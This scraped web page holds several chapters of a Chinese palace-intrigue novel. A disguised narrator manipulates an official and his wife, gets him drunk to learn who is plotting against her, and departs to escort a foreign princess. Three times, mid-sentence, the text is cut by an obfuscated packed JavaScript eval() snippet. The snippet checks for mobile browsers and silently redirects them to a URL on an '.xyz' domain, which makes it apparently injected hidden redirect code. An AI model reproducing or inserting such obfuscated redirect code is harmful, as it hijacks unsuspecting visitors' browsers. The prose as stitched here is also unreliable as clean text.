d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582230|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好生哄着她，久而久之必定会影响他在丞相府的地位。 看来这乘龙快婿，也不是那么好当的啊。 我承认自己有些幸灾乐祸，但同时也不免感到失落。我费了这么一番功夫，特意来调查这处宅院，是想搞清楚官场勾结，弄明白是谁在害我，可不是来听家长里短的。 我转身想要离开，却在不经意间瞥见那位柔弱美妾。 等等，她看起来似乎有些眼熟……尤其是那眉眼，总有一股似曾相似的感觉。 我突然反应过来，她的脸长得有点像我。当然不是指周郎的脸，而是我曾经用过的，叶婉清的脸。 这一刻，我的心情比吃了苍蝇屎还难受。 我莫名有种被冒犯到的感觉，若是张知节有意为之，对那女子也是一种冒犯。我倒情愿这只是一场误会，其实是我在自作多情。 本来我不想掺和这破烂事，但事已至此，我改变了主意。就算是一滩烂泥，我也要进去踩上几脚，好好搅和一番。 我从墙角走出，插到两人的中间，笑着道：“哎哎哎，都是误会。” “夫人有所不知，这其实是我的宅院，我今日有要事，特意邀张大人上门相商。” 王慧敏半信半疑道：“那这女人，又是怎么回事？” 我装作不好意思的模样，摸了摸脑袋，解释道：“我妻子去世后，我遇见了这姑娘，便是一见如故。但丧期过去不久，若是直接将她娶回家，于情于理都不合适，所以便将她暂时安置在这里。夫人若是不信，可以查一下这处宅院，到底挂靠在谁的名下。” 我偏过头，给张知节使了个眼色。他当即了然于心，神色镇定地附和道：“夫人，这的确都是误会。你莫要因为这点小事，气到了身体。” 王慧敏看了看我，又望了望张知节，脸上的火气似乎消去了大半。她撇了撇嘴，瞪眼道：“好吧，今日我就信了你，若是叫我发现你在骗我……张知节，我必定阉了你！” 她甩了甩手绢，唤来车夫丫鬟，头也不回地走了。 我望着她风风火火离去的身影，对张知节小声嘀咕了一句：“尊夫人……真是颇有风范啊。” 张知节眼皮微掀，多看了我一眼。虽然他始终保持着冷静的模样，但现在几乎是肉眼可见地放松了下来。 他朝我行了一礼：“多谢周侍郎解围。” 毕竟他前脚刚算计了我，后脚我便冒出来以德报怨。怕是连他自己也没想到，我会愿意出来帮他背这个黑锅。 这回他可是欠了我一个大人情。 我笑着说道：“都是同乡，何必这么生分。若是张兄不嫌弃，直接唤我佑民便好。” 张知节有意跟我保持距离，直接拒绝了我称兄道弟的提议：“在朝为官，须得公私分明，还是以官职相称为好。” “既然张尚书坚持，那我也不勉强了。只不过我有一事，实在是好奇。” “何事？” 14. 意中人 34 我只说却之不恭，可没答应要替张知节保守秘密。 前脚刚跟张知节分开，后脚我就立刻去追王慧敏，总算赶在她回到相府前，在半路截到了她的马车。 王慧敏从马车里探出头，表情看起来不太高兴。她好不容易今日捉奸在场，却被我这个不知打哪蹦出来的人搅黄，硬生生搪塞成一场误会，现在不待见我倒也正常。 她不耐烦地问道：“你有什么事？” 我没有说话，只是看了几眼她身边的婢女。王慧敏毕竟是出身名门，也算是见惯了勾心斗角、大风大浪的人，很快就意识到我要说的话不一般。 她眯起眼，改了语气：“她们都是我的贴身丫鬟，只会听我的吩咐，你有什么话可以直说。” 我稍微放下心，凑到车窗旁，小声道：“我此番来寻夫人，是想为方才的事道歉。” “哦？你这道的是哪门子的歉？” “其实……刚才我对夫人说了谎。”我低下头，装作一副有难言之隐的模样，期期艾艾地说道，“那名女子确实是张大人藏起来的外室，并非我养的小妾。我身为他的下官，实在是迫于无奈，只能帮忙遮掩。” “可我思来想去，始终问心有愧，觉得对不起夫人。这才匆忙追了过来，决定亡羊补牢，及时坦白真相。” 正所谓以彼之道，还施彼身。不就是合伙背刺嘛，张知节李郎做得到，我叶婉清自然也做得到。 如果把张知节给卖了，能够获得王慧敏的信任，打探到更有用的消息，那这可是一桩相当划算的买卖。 听完我的话，王慧敏冷笑道：“果然，我就知道他瞒着我，绝对是别有用心。” “敢问夫人是如何发现这事的？” “这很简单，只要有账本，什么都躲不过我的眼睛。”王慧敏扬了扬下巴，神情很是骄傲得意，“府里的账目，全部都由我亲自核查。那些个窝囊废，管账的能耐还没我强，竟敢妄图蒙骗糊弄我，很快就被我发现了。” 我顺着话头，连忙拍了个马屁：“夫人真是慧眼如炬，能够明察秋毫。” 王慧敏却不领情：“你别以为说些好话，我就不会算你的账。不过比起你，我更想收拾那个小妾，还有张知节那个混蛋！要不是有我们王家在，他哪能过得这般如鱼得水。他不感恩戴德也就罢了，竟敢背着我养小妾，败坏我们家的名声，这置我的脸面于何地！” 听完这番话，我总算弄明白了王慧敏的态度。 旁人都以为她是妒妇，所以才化身为母老虎，牢牢掌控着张知节。可我却觉得，她对张知节并无任何感情牵挂。比起丈夫的宠爱，她更在意自己的地位颜面，是否掌握着真正的话语权。 如此便好办了。 我决定利用这份可趁之机，说服她：“夫人，就算你今日折返，收拾了那小妾，教训了夫君，可日后说不定还会有千千万万个小妾出现。水至清则无鱼，人至察则无徒，您管得越是严厉，张大人就越是反感，迟早还会另寻佳人。” “照你的意思，这倒还成了我的不是了。”王慧敏面露不悦，气愤道，“难道我就该包容他养小妾？” “非也，在下不是这个意思。扬扬止沸，莫若釜底抽薪。抓小妾治标不治本，若要制止张大人，还需要从源头下手。”我双手合拢，朝王慧敏行了一礼，“若夫人信得过，请将此事交给我办。我必定会让他从此止住心思，再也不会养别的小妾。” 王慧敏将信将疑道：“你先是帮他，又反过来帮我，是个两边倒的家伙，叫我如何信得过你？” “夫人信我，左右也没什么损失。若是有用，便能了却您的心腹大患。若是无用，您想怎么找我麻烦都成。” 王慧敏轻笑一声：“好吧，那我便信你一回。” 我压低声音，小声道：“此事还需夫人配合，要如此这般……” 35 此后的这几日，张知节都过得不太舒坦。 早朝的时候，他眼底挂着浓浓的黑眼圈，眼袋也跟着垂了下去，哪怕强打着精神，仍是一脸倦容。我还看见他用笏板挡着嘴，不动声色地打了个哈欠。 等下了早朝，回礼部处理公务。张知节坐在桌案边，拿着竹简半天都没有动静。我悄悄望过去，发现他合眼打起了盹。 我在心里偷笑，王慧敏比我想象的还能折腾。 那天我给她提的要求，便是要她故意闹得张知节不得安生，最好整夜睡不着觉，在家里待不下去。 没想到她如此配合，甚至可以说有过之而无不及。 当时她双眸微亮的神情，落在我的眼里，实在是让人印象深刻。或许她也憋着满肚子的气，想要借由这个由头发泄出来。 我不紧不慢地批阅着公文，故意磨蹭到了很晚。 临近日落时分，赵怀礼邀我去酒楼用膳，我也以公务繁忙为由拒绝了。自从上次跟他推心置腹讨论了仕途，他已然将我当做了知心挚友，时不时便寻我促膝长谈，分享自己对于政事的见解。 自从被定为出使大臣，我确实多了不少事要忙。迎娶和亲公主兹事体大，容不得出半点差错。我以此为借口，赵怀礼自然不疑有他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600779|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他虽然心有落寞，但还是表示理解，然后独自离开了。 现如今只剩下了我和张知节。 张知节这一觉睡了很久。许是困得不行，他甚至忘记了掩饰，也没能顾及仪态，直接枕着胳膊，伏在了案头。 我蹑手蹑脚地走了过去，用自己的外衫披在他肩头，然后坐回自己的位置，安静地看着卷轴。 直到天色渐沉，张知节终于醒了过来。他拿着身上滑落的衣衫，转头看向我，脸上浮现出片刻的茫然若失，但很快又恢复了平静。 他问：“周侍郎为何还不回家？” 我伸了个懒腰，捶了捶肩膀：“还不是托您的福，我要出使燕国处理和亲之事，不知不觉就忙到了现在。” 若是换作别人，听到我这话，肯定多少会有点愧疚。再不济，也会有些尴尬。可张知节却没有任何反应，仿佛我的遭遇跟他完全无关。 我只好换了个话题：“我是因为公务绊住脚，那么张大人呢，您又是为什么待在这里？” 张知节没有回答，只是低头看了看自己手里的衣衫。他的半张脸隐没在黑暗之中，叫人看不真切。 他忽然问道：“这是你的外衫吗？” “是啊，我怕张大人着凉，就好心给您披了件衣裳，您可不要怪我多此一举。” “多谢。”张知节坐直了身子，脸上的神情也有了变化。 不枉我故意脱下外衫，来演这一出戏，他总算稍微敞开了心扉。 烛火不断跃动，光线暧昧不明。张知节托起下巴，脸上泛起柔和的暖意。他露出怀念的神情，轻声说道：“以前我挑灯苦读，也曾有人陪在我的身旁，为我披一件衣裳。” 我知道他说的是谁，就是我叶婉清。 在我看见他小妾面容的那一刻起，我就知道这点可以为我所用。 张知节抚摸着衣衫，仿佛在透过这层布料，回味曾经共同度过的岁月。他抬头看向我，叹息道：“其实，我根本不想回家。” 他张了张嘴，唇瓣无声开合，却没有继续说下去。纵使被情感操控，内心充满惆怅，他也始终维持着理智。 他比任何人都要会权衡利弊，若是对我抱怨王慧敏，难保不会走漏风声，传到王丞相的耳朵里，所以他选择沉默。 我体贴地安慰道：“家家有本难念的经，张大人莫要太过烦忧。” “对了，都说美酒解千愁。”我装作灵光一闪，猛地拍了下脑袋，提议道，“我正好买了一坛酒，放在这里忘记带回家了。您看要不这样，我们在此小酌几杯，为您消一消心事。” 15. 和亲公主 36 月亮不知不觉爬上树梢，耳畔传来阵阵蝉鸣。 醇厚的酒香从杯中溢出，在夜色中弥漫开来。我不停给张知节倒酒，杯子堪堪见底，很快又重新满上。 张知节拦住我的胳膊，摇了摇头：“喝酒不可贪杯，到这里便好。” 我岂会轻易罢休，连忙劝道：“张兄不想回家，左右也没什么事，再喝几杯也无妨。若是您夫人问起来，就说跟我有事相谈，她肯定不会追究。” 听我提起王慧敏，张知节叹了一口长气。他垂着头，神情略显疲惫，仿佛一下子老了几岁，言语里是止不住的苦涩：“罢了罢了，那便再喝些。” 我提前跟王慧敏打好招呼，为的就是激化张知节的情绪。他确实能忍常人所不能忍，但只要是人，便有喜怒哀乐。经年累月的不满，就算藏得再深，也始终存在于内心深处。 这些怨怼非但不会消散，还会随着时间的推移日渐发酵。他平日里压抑得越狠，今日便会爆发得越剧烈。 一杯又一杯的酒下肚，张知节的眼神变得有些迷离。他晃了晃脑袋，竭力保持着清醒，摆手道：“我不能再喝了。” 我不停怂恿，鼓动着他的情绪：“明月几时有，把酒问青天。张兄莫要无辜这月色，应当多饮几杯才值得啊！” 张知节盯着杯中酒，里头倒映着一轮皎洁的明月。他叹息道：“酒中月是天上月，眼前人却非心上人呐。” 我明知故问道：“张兄说的心上人，可是林兰芝？” “非也，非也。”张知节猛灌了一大杯酒，说话也有些前言不搭后语，“郎骑竹马来，绕床弄青梅。早知道丞相的女儿是个母老虎，我就该回去娶我的小青梅。” 他能把这话说出口，说明已经醉得不轻。 我定了定神，试探道：“抽刀断水水更流，酒杯消愁愁更愁。张兄不要莫要多想，且随缘去吧。你瞧我，前些日子还在为出使的事发愁，现在不也好端端地接受了嘛。” “周弟啊，你莫要怪我。”张知节身形摇晃，趴在桌案上，抬起头看我，“派你出使燕国，并非我的本意。谁叫你得罪了赵家，礼部又正好要出这个人头。” 我拿着酒杯的手不由得顿住。 原来是赵家……这些个世家大族，全都是地位高心眼小，容不得别人冒犯自己的利益。明明是赵怀礼自己不想要，他们却非要斤斤计较，变着法子使绊子，给我找不痛快。 不过话又说回来，张知节可不是任人拿捏的软柿子。就算是看在赵家的面子上，也轮不到他亲自出面。 这背后的隐情恐怕要更复杂。 我撇了撇嘴，故意道：“张兄这话说的，可真叫我委屈。你应当也清楚，那赵怀礼自个儿无意当礼部侍郎，叫我白捡了便宜。赵家怎么能不分是非对错，就这样迁怒于我？” “要只是赵家也就罢了，但你竟然惹了那位……” 张知节话说到一半，就这样戛然而止。哪怕是无意识的醉酒状态，他也依然有所顾忌。 我直觉抓到了关键，连忙追问道：“不知我冒犯了哪位大人？” 张知节却不答，只是喃喃自语道：“我帮他做事已有几年，他却还不信任我。有时候我都在想，自己这般忍气吞声，到底是为了什么？” 我想尽千方百计灌醉他，可不是来听他满腹牢骚的。他倒是把刚才的话给说完啊！ 我心里抓耳捞腮，很是不耐，面上又不能表现出来，只能配合地安抚道：“张兄位极人臣，已然高出我们这些同乡。那位大人竟让你这样卑微？” 引导的话说到这里，我满心期待张知节可以吐出点什么。 怎料他沉浸在自己的世界，喋喋不休道：“刚中科举的时候，我踌躇满志，本以为自己终于可以造福黎民百姓。待步入官场以后，看见那些寒门书生战战兢兢，在朝廷上如履薄冰，我才意识到就算有满腹才华，我也根本无处施展。于是我决定换种方式实现抱负，唯有背靠丞相府，我才有足够的权力影响朝廷。” 说到这里，他忽然将脸凑过来，低声道：“你知道，为何清河县近年来，有那么多人都能考取功名吗？” 我先是一愣，脑中浮现了某个猜想：“难道是你插手科举，故意扶持寒门……” “嘘。”张知节将食指竖在唇边，轻声道，“言尽于此。” 我的内心顿时五味杂陈。他在暗中试图削弱世家，而自己又背靠名门，混得如鱼得水。这让我一时间分不清，他到底是追名逐利，还是真的妄图改变朝廷的结构。 也许他真的曾身负凌云壮志，却英雄毫无用武之地。亦或许，他只是在自我麻痹，为自己入赘丞相府找借口，打着虚伪的幌子，来粉饰所谓的自尊心。 我问：“世家根深叶茂，仅凭你一人之力，又如何改变？” “千里之堤，溃于蚁穴。”张知节说完，连着灌下几杯酒，“我本以为再等上几年，旧人老去便是新人的天地，就是我大展身手的时候。可没想到，他还是对我处处提防，始终不肯告知我行事的缘由。我到现在都不知道，你到底有什么本事，才能他的成为眼中钉。” 我张了张嘴，想接着套话。没想到张知节却脑袋一歪，直接栽倒在桌案。 “张兄，张兄。”我推了推他的肩膀，他却迟迟没有反应。 睡得可真不是时候，好歹把背后之人告诉我再睡啊。 我叹了一口气，准备起身收拾桌上的残局。没想到刚站起来，手腕忽然被人抓住了。 我低下头，发现张知节半睁着眼，似醉似醒地望着我。 他缓缓道：“婉清啊，你不要再装了。” 我呼吸一滞，心脏仿佛停止了跳动。 37 在这短暂的片刻，我的脑袋里浮现无数念头。 难道张知节看穿了我的身份？是我的易容出现了纰漏吗，还是说我的言行有问题？他到底是怎么发现的？ 我僵在原地不敢动，始终没有接话。 “婉清，其实我知道你对我只是虚情假意，也知道你还有其他相好。在清河县的时候，我就知道了。” 我捂着嘴，屏住呼吸，手指止不住地颤抖。他……竟然知道？！ “刚发现这事的时候，我对你怒不可遏，我怨你二三其德，我恨你背叛我。但我什么也没有说，只是装作不知情的模样，等你主动来跟我坦白。可你……什么都没有发现，比起我的感情，你更在乎我放榜的结果。” “在入京当官以后，我一气之下娶了丞相的女儿，始终对你不闻不问。但很快我就后悔了，比起王慧敏的嚣张跋扈，我更喜欢你的温情软语。我太想念你了，可是王慧敏绝不会容许我娶你回家。“ “后来我遇见了林兰芝，她有几分像你，可始终不是你。我看着她的脸，不停地想着你，内心才能获得片刻的宁静。” 说到这里，张知节忽然抱住我，小声抽泣起来：“你为什么要嫁给周佑民，为什么要离我而去？你死得这般突然，我都未能再见你一面。只有像这样不清醒，亦或者梦中相见，我才能朦胧间窥见你的身影。” 我立刻松了一口气。原来他只是在说醉话啊。 张知节早就知道我跟其他竹马有牵扯，这点实在是出乎我的意料之外。 “张兄，你真是醉得不轻，竟把我当做了别人。”我用力推开他的胳膊，挣脱了怀抱，“若你不说，我还真不知道，你跟婉清还有这样一段往事。” 不过是个懦夫，因为害怕得罪王慧敏，连我的葬礼都不敢参加，又何必在这里故作情深。 没有人逼着他娶丞相的女儿，也没有人逼着他作出牺牲，更没有人逼着他亲近林兰芝。 官是他自己当的，亲是他自己成的，妾也是他自己藏的，怎么好意思在这里大倒苦水。 他爱得从来都不是叶婉清，而是他自己。好处都让他占尽了，却要硬装出一副情圣模样。 张知节拉着我的手，我只觉得反胃。 37 张知节说话颠来倒去，我始终没能问出要紧事。我将在他安置在礼部留宿的卧房，便自己回了府。 也许是因为宿醉，次日清晨张知节有些萎靡不振。他颇为头疼，揉着太阳穴，问我：“昨晚喝醉酒，我没说什么怪话吧？” 看来他昨夜醉得不省人事，醒来后完全不记得自己说了什么话。 我笑着糊弄道：“张大人酒品好，醉后便瘫在桌上，什么话都没说。” 张知节稍稍松了口气。 我想起答应王慧敏的事，于是凑到张知节的耳边，小声道：“张大人，您给的田宅，我都收到了。作为感谢，我想给您一句劝告。落花风雨更伤春，不如怜取眼前人。” 张知节猝不及防听到我提起这事，反倒有些不明所以。 我只好暗示道：“您有所不知，挂到我名下的那处房产，夫人时不时派人过去打探，看来还是没有放下心。您最好还是不要过去了。” 其实王慧敏根本没有再去拜访那栋宅院，这只是我用来唬张知节的，为了不让他再去找林兰芝。 “说什么红颜，转眼便是枯骨。说什么朱阁，转眼便成荒场。张大人是个明白人，孰是孰非，您自己心中应该清楚。” 我了解张知节，他相当会权衡利弊，必然能做出合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616829|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适的取舍。 王慧敏那里有了交代，朝廷的事情也稍微有了眉目，我便暂时投身于和亲之事的安排当中。 前去燕国的日子逐渐逼近，赵怀礼再次约我去酒楼相聚，说是要为我送行。这回我没有拒绝。 他从袖口掏出一支杨柳，双手捧到我的面前，情真意切地说道：“此去翻山越岭，实在是路途遥远，周弟千万要照顾好自己。” 杨柳细长的枝叶尚带着露水，想必是他清早刚为我折的。我笑了笑，收下了柳枝，没多说些什么。 饭菜上桌，俱是色香味俱全，我却没什么食欲。 正如赵怀礼所说，这趟路程确实艰险，再加上两国时有摩擦。若是一着不慎，很可能有来无回。更何况，我还没彻底查出周佑民得罪的人，只知道跟张知节有所关系。 只可惜从上次喝酒以后，张知节再没给我留下可趁之机。他始终跟我保持着不远不近的距离，根本不会提多余的事情。 赵怀礼见我迟迟没有动筷，便有些担忧地问道：“周弟可是有什么烦心事，竟如此心不在焉？” 我当然不可能跟他说张知节养外室，还有背后一连串的牵扯。于是我故意找了个话题，半调笑地问道：“赵兄可有心仪的女子？” “没有。”赵怀礼先是一愣，接着颇为怪异地看了我一眼，“你怎的问起这个？” 想起张知节和王慧抿这对形同陌路的夫妻，让我不由得好奇起赵怀礼这般正直的人，又会如何看待自己的未来妻子。但我不能把张知节的事往外抖，只好装作不经意地说道：“没什么，只是突然想起来，朝中不少大臣都是三妻四妾。赵兄如此年轻俊美，还是个青年才俊，怎么会至今仍没有婚配？” “我不想成亲。”赵怀礼轻声道。 “什么？”我以为自己听错了。 “比起草草成亲，娶个门当户对的姑娘，我更想自己待着。我不愿三妻四妾，我只愿得一人心，白首不分离。可是知心人难遇，如若没有合适的机缘，我宁愿终身不娶。” 我不禁哑然：“想不到赵兄……竟这般纯情。” 赵怀礼似乎有些不好意思。他别过头，咳嗽了几声：“我只想一生一世一双人，你可别笑话我。” “赵兄如此深情，我怎么会笑话？”我把杨柳插到他的鬓边，半开玩笑地说道，“花开堪折直须折，莫待无花空折枝。赵兄这般好颜色，却又如此挑剔，当心错过心仪之人，最后孤独终老。” 赵怀礼低着头，半天没有回话。 我以为是自己调戏过了头，不小心伤到了他的心。这瞬间我有些慌乱，不知道如何找补，只好拿起茶杯喝水，试图掩盖内心的局促。 他却忽然说道：“周弟若是女子便好了。” 听到这句话，我险些把嘴里的茶水给喷了出来。 “咳咳咳……咳咳咳。”我使劲拍打着胸脯，勉强顺过了气，磕磕绊绊地问道，“你、你……这是什么意思？” 赵怀礼垂下眼眸，平静道：“没事，是我唐突了，不小心说了些糊涂话。” 我不敢继续追问，随口便敷衍了过去。赵怀礼没再说出什么石破天惊的话，神色如常地吃完了饭菜，便跟我告别分开。 38 不久，我踏上了前往燕国的路途。 成群结队的车马，载着满箱的金银珠宝，都是迎接和亲公主的聘礼。先是沿水路前行，而后抵达北方的河岸，接着翻过几座高山。我们终于来到了燕国。 燕国的君王接见了我们。他看起来已然年迈，满头白发苍苍，胡须粗糙干枯，说是半截身子快要入土也不为过。他似乎没有多余的精力应付外宾，三言两语将我们打发走，该有的礼遇却没有少。我实在是琢磨不透他的态度。 这趟行程没有丝毫耽搁，和亲公主的马车很快就出发了。启程那日我站在队伍的前头，远远看见公主身穿一袭红衣，披着血红色的盖头上了马车。 她的背影修长高挑，就算放在男子中也是佼佼者。 我不由得心生惊讶，我本以为自己在女子中，已经算是长得极高了。没想到她比我更胜一筹，竟高出了好几寸。 燕国身处北地，常年天寒地冻。此地的百姓饮食习惯不同，骨架也更为高大。这样一想，公主这副身形自然不足为奇。 我凑了过去，想跟公主说上几句话，稍微套一下近乎。毕竟这山高路远的，还有相处好一段时间，才能顺利回到京城，能打好关系摸清公主的脾性，当然是再好不过。 不料旁边的侍女伸出手，颇为傲慢地扬了扬下巴，阻拦道：“我们公主生性文静，不喜跟生人接触，还请各位自重。”